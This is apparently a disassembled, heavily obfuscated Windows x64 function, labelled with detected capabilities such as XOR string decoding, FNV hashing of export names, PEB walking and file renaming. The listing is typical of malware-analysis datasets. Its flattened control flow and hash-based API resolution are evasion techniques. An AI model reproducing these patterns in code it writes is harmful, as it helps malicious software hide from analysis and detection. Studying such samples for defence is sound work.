Function at 0x14043de6d
Capabilities:
Encode data using xor
Hash data using fnv
Move file
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x2847db07
pushf
not eax
add eax, 0x96672c76
xor eax, 0xa07868a7
rol eax, 0x49
popf
pushf
not eax
add eax, 0xb31d5694
xor eax, 0xaf3e41d5
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xd18d70a8
xor eax, 0x94754e38
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xc9f25e54
xor eax, 0xd9a0517d
rol eax, 0x13
popf
cmp eax, 4
jne 0x14043ded0
popf
pop rax
jmp 0x14043e2a9
cmp eax, 0
jne 0x14043dedf
popf
pop rax
jmp 0x14043dfde
cmp eax, 3
jne 0x14043deee
popf
pop rax
jmp 0x14043e24e
cmp eax, 1
jne 0x14043defd
popf
pop rax
jmp 0x14043e13e
cmp eax, 0xd
jne 0x14043df0c
popf
pop rax
jmp 0x14043e775
cmp eax, 7
jne 0x14043df1b
popf
pop rax
jmp 0x14043e4b4
cmp eax, 0xe
jne 0x14043df2a
popf
pop rax
jmp 0x14043e7c3
cmp eax, 0xb
jne 0x14043df39
popf
pop rax
jmp 0x14043e64f
cmp eax, 0xc
jne 0x14043df48
popf
pop rax
jmp 0x14043e6e4
cmp eax, 8
jne 0x14043df57
popf
pop rax
jmp 0x14043e4f6
cmp eax, 0x10
jne 0x14043df66
popf
pop rax
jmp 0x14043e927
cmp eax, 2
jne 0x14043df75
popf
pop rax
jmp 0x14043e1b0
cmp eax, 9
jne 0x14043df84
popf
pop rax
jmp 0x14043e5ef
cmp eax, 0x12
jne 0x14043df93
popf
pop rax
jmp 0x14043ea2d
cmp eax, 6
jne 0x14043dfa2
popf
pop rax
jmp 0x14043e41f
cmp eax, 0x11
jne 0x14043dfb1
popf
pop rax
jmp 0x14043e9bf
cmp eax, 5
jne 0x14043dfc0
popf
pop rax
jmp 0x14043e35d
cmp eax, 0xf
jne 0x14043dfcf
popf
pop rax
jmp 0x14043e8c2
cmp eax, 0xa
jne 0x14043dfde
popf
pop rax
jmp 0x14043e637
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1370]
mov eax, 0xe81beba6
pushf
not eax
add eax, 0xcd087a39
xor eax, 0xd124ca16
rol eax, 0x96
popf
pushf
not eax
add eax, 0xdae79b58
xor eax, 0xb9da7886
rol eax, 0x3e
popf
call fcn.140319f40
sub rsp, rax
mov rax, qword [0x1403f1ec0]
xor rax, rsp
mov qword [rbp + 0x1360], rax
mov rdi, rcx
mov qword [rsp + 0x48], rcx
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rbp - 0x30]
call fcn.140139920
movsd xmm2, qword [0x1403cc5d8]
xorps xmm1, xmm1
lea rcx, [rsp + 0x50]
call fcn.140139910
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14013cbc0
cvttsd2si rcx, xmm0
jmp 0x14043e076
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rbp - 0x58]
call fcn.140451143
nop
mov byte [rsp + 0x30], 0x5c
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.14013b0e0
mov r10, qword [rax]
lea rdx, [rsp + 0x38]
call fcn.14013b100
lea r9, [rsp + 0x30]
mov r8, r10
mov rdx, qword [rax]
lea rcx, [rsp + 0x50]
call fcn.14013cc20
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.14013b0e0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.14013cc50
test al, al
je 0x14043e10b
push rax
pushf
mov eax, 0x5836f56b
pushf
not eax
add eax, 0xd558c9de
xor eax, 0xbe160ce9
rol eax, 0x66
popf
pushf
not eax
add eax, 0xc0f99078
xor eax, 0xf303698f
rol eax, 0x9d
popf
jmp 0x14043dec1
push rax
pushf
mov eax, 0x7034e1c0
pushf
not eax
add eax, 0xb9a43985
xor eax, 0xac57d529
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x90cfd637
xor eax, 0x85184114
rol eax, 0x1b
popf
jmp 0x14043dec1
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.140139900
mov r9, qword [rax]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.14013b0e0
mov r8, qword [rax]
lea rdx, [rsp + 0x60]
call fcn.14013b120
push rax
pushf
mov eax, 0x3e4079f9
pushf
not eax
add eax, 0x8d9f5ae1
xor eax, 0xc877aa67
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xe17e4c04
xor eax, 0xee15817c
rol eax, 0x24
popf
pushf
not eax
add eax, 0xf64607d2
xor eax, 0xb2838bda
rol eax, 7
popf
jmp 0x14043dec1
lea rdx, [rsp + 0x60]
call fcn.140130680
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14043e21b
push rax
pushf
mov eax, 0x478b527a
pushf
not eax
add eax, 0xc2ef971e
xor eax, 0x9c7d87b2
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xd183a4be
xor eax, 0xddcc1fa8
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xe0486d6d
xor eax, 0xa2912580
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xd2efca3d
xor eax, 0xa2901b91
rol eax, 0xca
popf
jmp 0x14043dec1
push rax
pushf
mov eax, 0xb20a0531
pushf
not eax
add eax, 0xb5d70492
xor eax, 0x99dbb347
rol eax, 0x87
popf
pushf
not eax
add eax, 0xbd919b34
xor eax, 0xb1ebc766
rol eax, 0xb4
popf
jmp 0x14043dec1
xor byte [rax], 0x38
xor byte [rax + 1], 0x39
xor byte [rax + 2], 0x3a
xor byte [rax + 3], 0x3b
xor cl, 0x3c
mov byte [rax + 4], cl
push rax
pushf
mov eax, 0xf08a0af8
pushf
not eax
add eax, 0xc3aa9d45
xor eax, 0xb7531d82
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xaf18262b
xor eax, 0xd895e5d3
rol eax, 0x18
popf
pushf
not eax
add eax, 0xc1b4a5a2
xor eax, 0x9f35008b
rol eax, 0xec
popf
jmp 0x14043dec1
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.14013b350
nop
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x68]
call fcn.14013c940
nop
lea rcx, [rsp + 0x68]
call fcn.14013b0d0
mov rbx, rax
mov rcx, rdi
call fcn.14013b0d0
mov rdx, rbx
mov rcx, rax
jmp 0x14043e2e5
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x20c202ad
pushf
not eax
add eax, 0xfd614fe1
xor eax, 0x8eed5448
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x9e3377a1
xor eax, 0xed56775f
rol eax, 0x35
popf
pushf
not eax
add eax, 0x8e2c6f83
xor eax, 0xec5da4ee
rol eax, 0xca
popf
pushf
not eax
add eax, 0xcdf6b20b
xor eax, 0xfb80ed1f
rol eax, 0xd1
popf
jmp 0x14043dec1
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x14043e3c6
push rax
pushf
mov eax, 0x4be99c6b
pushf
not eax
add eax, 0xfde37775
xor eax, 0x94cbc6f2
rol eax, 0x10
popf
pushf
not eax
add eax, 0x9ac04c77
xor eax, 0xc5c8ef56
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xfe5ea45a
xor eax, 0xb07a6d39
rol eax, 0xa9
popf
jmp 0x14043dec1
push rax
pushf
mov eax, 0x958e3e99
pushf
not eax
add eax, 0xc5426d1f
xor eax, 0x919a1f90
rol eax, 0x74
popf
pushf
not eax
add eax, 0xc68af601
xor eax, 0xef7975a9
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xed0e73c1
xor eax, 0xa7368110
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xe161e588
xor eax, 0xbce57683
rol eax, 0x72
popf
jmp 0x14043dec1
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14043e45b
push rax
pushf
mov eax, 0xbc4705c7
pushf
not eax
add eax, 0xbb5c8e79
xor eax, 0xa85363e0
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xf78a4d43
xor eax, 0xe22dde8d
rol eax, 0xed
popf
jmp 0x14043dec1
push rax
pushf
mov eax, 0x340772c3
pushf
not eax
add eax, 0xc3358e19
xor eax, 0xa7af7767
rol eax, 0x55
popf
pushf
not eax
add eax, 0xebfb22cb
xor eax, 0xf76fbf26
rol eax, 0x27
popf
pushf
not eax
add eax, 0xa0282a95
xor eax, 0xf69088f5
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x81241d23
xor eax, 0x860dc612
rol eax, 0x14
popf
jmp 0x14043dec1
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x1a6d6142
pushf
not eax
add eax, 0xa2f26189
xor eax, 0xb2590156
rol eax, 0x70
popf
pushf
not eax
add eax, 0xac6660e2
xor eax, 0xab462605
rol eax, 0x2f
popf
jmp 0x14043dec1
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0x466220d5
pushf
not r8d
add r8d, 0xb1bf9bbc
xor r8d, 0x93aa4643
rol r8d, 0
popf
pushf
not r8d
add r8d, 0xe07409f3
xor r8d, 0xfd43cd63
rol r8d, 0xaa
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14043e596
push rax
pushf
mov eax, 0x5bd373d1
pushf
not eax
add eax, 0xb5a61846
xor eax, 0xf52f6dea
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x93c47e63
xor eax, 0xb4f597bf
rol eax, 1
popf
pushf
not eax
add eax, 0xa577c973
xor eax, 0xf7307bcd
rol eax, 0xa4
popf
jmp 0x14043dec1
push rax
pushf
mov eax, 0x8dc25a3b
pushf
not eax
add eax, 0x8218073f
xor eax, 0xca8407da
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xd023e882
xor eax, 0xe853b012
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xf4a944e5
xor eax, 0x95c58d7e
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xbb0bab51
xor eax, 0x80daf20b
rol eax, 0x54
popf
jmp 0x14043dec1
nop
push rax
pushf
mov eax, 0xdce62a78
pushf
not eax
add eax, 0xc2685cac
xor eax, 0x9739ca6e
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xedfabf58
xor eax, 0x9a218f9c
rol eax, 0x64
popf
pushf
not eax
add eax, 0x918094b2
xor eax, 0xcec7fdc3
rol eax, 0x76
popf
jmp 0x14043dec1
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14043e637
cmp r8d, 0x3206d388
je 0x14043e6b1
push rax
pushf
mov eax, 0x4c8b338
pushf
not eax
add eax, 0x8072f335
xor eax, 0xb2bce4b5
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xa9fdf5c2
xor eax, 0x9906fc7e
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xb6ba937a
xor eax, 0x9f9fa4bc
rol eax, 0x41
popf
pushf
not eax
add eax, 0xb96bd92b
xor eax, 0x9dc9523f
rol eax, 0x37
popf
jmp 0x14043dec1
push rax
pushf
mov eax, 0x3b154d8d
pushf
not eax
add eax, 0xf5babd64
xor eax, 0xc5284740
rol eax, 0x62
popf
pushf
not eax
add eax, 0xdcc752e3
xor eax, 0xc292b089
rol eax, 0x47
popf
jmp 0x14043dec1
test r9d, r9d
jne 0x14043e71c
push rax
pushf
mov eax, 0xc9f4a500
pushf
not eax
add eax, 0xaf15854c
xor eax, 0xd6d3beef
rol eax, 0x67
popf
pushf
not eax
add eax, 0x810f9403
xor eax, 0x876301e9
rol eax, 0x32
popf
jmp 0x14043dec1
push rax
pushf
mov eax, 0x6987bdd3
pushf
not eax
add eax, 0xa58e5fc8
xor eax, 0x92417807
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x9ce7a3f9
xor eax, 0x8e0aa172
rol eax, 0xb
popf
pushf
not eax
add eax, 0x89b44f06
xor eax, 0xcd69990d
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xac6c854e
xor eax, 0x81117082
rol eax, 0x96
popf
jmp 0x14043dec1
mov rax, qword [rax]
jmp 0x14043e35d
mov ecx, dword [rdi + 0x24]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov edi, dword [rcx + rdx*4]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
lea rdx, [rsp + 0x40]
call fcn.1401306c0
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14043e869
push rax
pushf
mov eax, 0x94984d95
pushf
not eax
add eax, 0xf2ad8a08
xor eax, 0xaafe7618
rol eax, 0x84
popf
pushf
not eax
add eax, 0xe0caf354
xor eax, 0xb6c2a6f6
rol eax, 0x41
popf
pushf
not eax
add eax, 0xd7cf20f6
xor eax, 0xe4cebdde
rol eax, 0x26
popf
pushf
not eax
add eax, 0x944d548b
xor eax, 0xd950f150
rol eax, 0x9b
popf
jmp 0x14043dec1
push rax
pushf
mov eax, 0x315c9bc0
pushf
not eax
add eax, 0x9af9c4aa
xor eax, 0x8229da62
rol eax, 0xee
popf
pushf
not eax
add eax, 0xdd25e99c
xor eax, 0xc170c47c
rol eax, 0x47
popf
pushf
not eax
add eax, 0xf5528f25
xor eax, 0x837b7415
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xcf5e9f41
xor eax, 0x9f35d504
rol eax, 0x4e
popf
jmp 0x14043dec1
xor byte [rbx], 0x38
xor byte [rbx + 1], 0x39
xor al, 0x3a
mov byte [rbx + 2], al
push rax
pushf
mov eax, 0xe0a5906
pushf
not eax
add eax, 0xb9c3069f
xor eax, 0x9e740052
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xac37bffc
xor eax, 0x91f4ab79
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xb2dc5ba0
xor eax, 0xcd908d13
rol eax, 0xac
popf
pushf
not eax
add eax, 0xaf095153
xor eax, 0xa35d4b5b
rol eax, 0x7c
popf
jmp 0x14043dec1
lea rcx, [rsp + 0x68]
call fcn.14013b0d0
mov r8, rax
lea rdx, [rsp + 0x50]
call fcn.1401306a0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14043e98c
push rax
pushf
mov eax, 0x9c08f597
pushf
not eax
add eax, 0x847cc54d
xor eax, 0xe7f21b57
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xb2fbc58b
xor eax, 0xd46b6405
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x8e18749a
xor eax, 0x81e0910a
rol eax, 0x47
popf
jmp 0x14043dec1
push rax
pushf
mov eax, 0x23da0b95
pushf
not eax
add eax, 0x80b77ee9
xor eax, 0x88f79d21
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xc0a3f5cb
xor eax, 0xec790e58
rol eax, 0xf9
popf
jmp 0x14043dec1
xor byte [rax], 0x38
xor byte [rax + 1], 0x39
xor byte [rax + 2], 0x3a
xor byte [rax + 3], 0x3b
xor cl, 0x3c
mov byte [rax + 4], cl
push rax
pushf
mov eax, 0x95f00e29
pushf
not eax
add eax, 0xcde8428c
xor eax, 0x901ddb4e
rol eax, 0x20
popf
pushf
not eax
add eax, 0xf35d5617
xor eax, 0xada6704e
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xfb24f6f8
xor eax, 0xe66da230
rol eax, 0x20
popf
pushf
not eax
add eax, 0x9fdf9259
xor eax, 0xae525404
rol eax, 0x46
popf
jmp 0x14043dec1
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9, rbx
mov rdx, rax
xor ecx, ecx
jmp 0x14043ea47
call rdi
mov ecx, 0xb2561915
pushf
not ecx
add ecx, 0xba780339
xor ecx, 0xfc643dd5
rol ecx, 0xca
popf
pushf
not ecx
add ecx, 0xab9c3a9b
xor ecx, 0x903c5ec9
rol ecx, 0x26
popf
jmp 0x14043ea79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3